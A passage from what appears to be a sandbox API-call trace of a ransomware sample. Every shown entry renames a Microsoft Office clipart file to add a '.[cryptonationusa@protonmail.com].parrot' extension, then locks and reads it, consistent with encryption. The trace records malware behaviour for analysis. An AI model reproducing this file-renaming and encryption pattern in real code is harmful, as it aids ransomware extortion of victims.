lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.913] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x384c, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.913] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.913] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0134.016] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.016] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3734, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3734, lpOverlapped=0x0) returned 1 [0134.230] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.231] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x384c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0134.231] CloseHandle (hObject=0x288) returned 1 [0134.231] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0134.236] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6ae4, nNumberOfBytesToLockHigh=0x0) returned 1 [0134.236] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0134.236] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0134.305] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.305] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x69cc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x69cc, lpOverlapped=0x0) returned 1 [0134.311] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.312] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6ae4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0134.312] CloseHandle (hObject=0x288) returned 1 [0134.312] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0134.327] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbe14, nNumberOfBytesToLockHigh=0x0) returned 1 [0134.327] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0134.327] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0134.378] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.378] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbcfc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbcfc, lpOverlapped=0x0) returned 1 [0134.412] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.413] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbe14, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0134.413] CloseHandle (hObject=0x288) returned 1 [0134.413] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0134.417] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbe1c, nNumberOfBytesToLockHigh=0x0) returned 1 [0134.417] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0134.417] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0134.423] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.423] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbd04, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbd04, lpOverlapped=0x0) returned 1 [0134.429] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.430] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbe1c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0134.430] CloseHandle (hObject=0x288) returned 1 [0134.430] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0134.434] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4448, nNumberOfBytesToLockHigh=0x0) returned 1 [0134.434] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0134.434] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0134.435] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.435] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4330, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4330, lpOverlapped=0x0) returned 1 [0134.665] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.665] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4448, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0134.665] CloseHandle (hObject=0x288) returned 1 [0134.666] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0134.669] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3bac, nNumberOfBytesToLockHigh=0x0) returned 1 [0134.669] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0134.669] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0134.679] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.680] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3a94, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3a94, lpOverlapped=0x0) returned 1 [0134.699] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.699] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3bac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0134.699] CloseHandle (hObject=0x288) returned 1 [0134.699] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0134.704] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4fc0, nNumberOfBytesToLockHigh=0x0) returned 1 [0134.704] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0134.704] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0134.718] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.718] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4ea8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4ea8, lpOverlapped=0x0) returned 1 [0134.720] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.721] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4fc0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0134.721] CloseHandle (hObject=0x288) returned 1 [0134.721] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0134.724] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x35a8, nNumberOfBytesToLockHigh=0x0) returned 1 [0134.724] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0134.724] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0134.728] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.728] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3490, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3490, lpOverlapped=0x0) returned 1 [0134.744] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.744] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x35a8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0134.744] CloseHandle (hObject=0x288) returned 1 [0134.744] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0134.749] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x591c, nNumberOfBytesToLockHigh=0x0) returned 1 [0134.749] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0134.749] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0134.813] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.814] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5804, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5804, lpOverlapped=0x0) returned 1 [0134.835] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.835] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x591c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0134.835] CloseHandle (hObject=0x288) returned 1 [0134.836] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0134.841] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5834, nNumberOfBytesToLockHigh=0x0) returned 1 [0134.841] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0134.841] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0134.844] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.845] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x571c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x571c, lpOverlapped=0x0) returned 1 [0134.865] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.865] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5834, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0134.865] CloseHandle (hObject=0x288) returned 1 [0134.865] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0134.869] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6264, nNumberOfBytesToLockHigh=0x0) returned 1 [0134.869] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0134.870] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0134.874] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.874] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x614c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x614c, lpOverlapped=0x0) returned 1 [0134.882] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.882] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6264, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0134.882] CloseHandle (hObject=0x288) returned 1 [0134.882] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0134.885] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3ffc, nNumberOfBytesToLockHigh=0x0) returned 1 [0134.885] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0134.886] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0134.908] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.908] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3ee4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3ee4, lpOverlapped=0x0) returned 1 [0134.926] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.926] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3ffc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0134.926] CloseHandle (hObject=0x288) returned 1 [0134.927] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0134.930] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x12d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0134.930] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0134.930] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0134.933] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.933] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11b8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x11b8, lpOverlapped=0x0) returned 1 [0134.939] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.939] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x12d0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0134.939] CloseHandle (hObject=0x288) returned 1 [0134.940] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0134.942] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2808, nNumberOfBytesToLockHigh=0x0) returned 1 [0134.942] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0134.943] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0134.950] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.951] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x26f0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x26f0, lpOverlapped=0x0) returned 1 [0134.968] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.969] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2808, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0134.969] CloseHandle (hObject=0x288) returned 1 [0134.969] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0134.972] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x500c, nNumberOfBytesToLockHigh=0x0) returned 1 [0134.972] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, 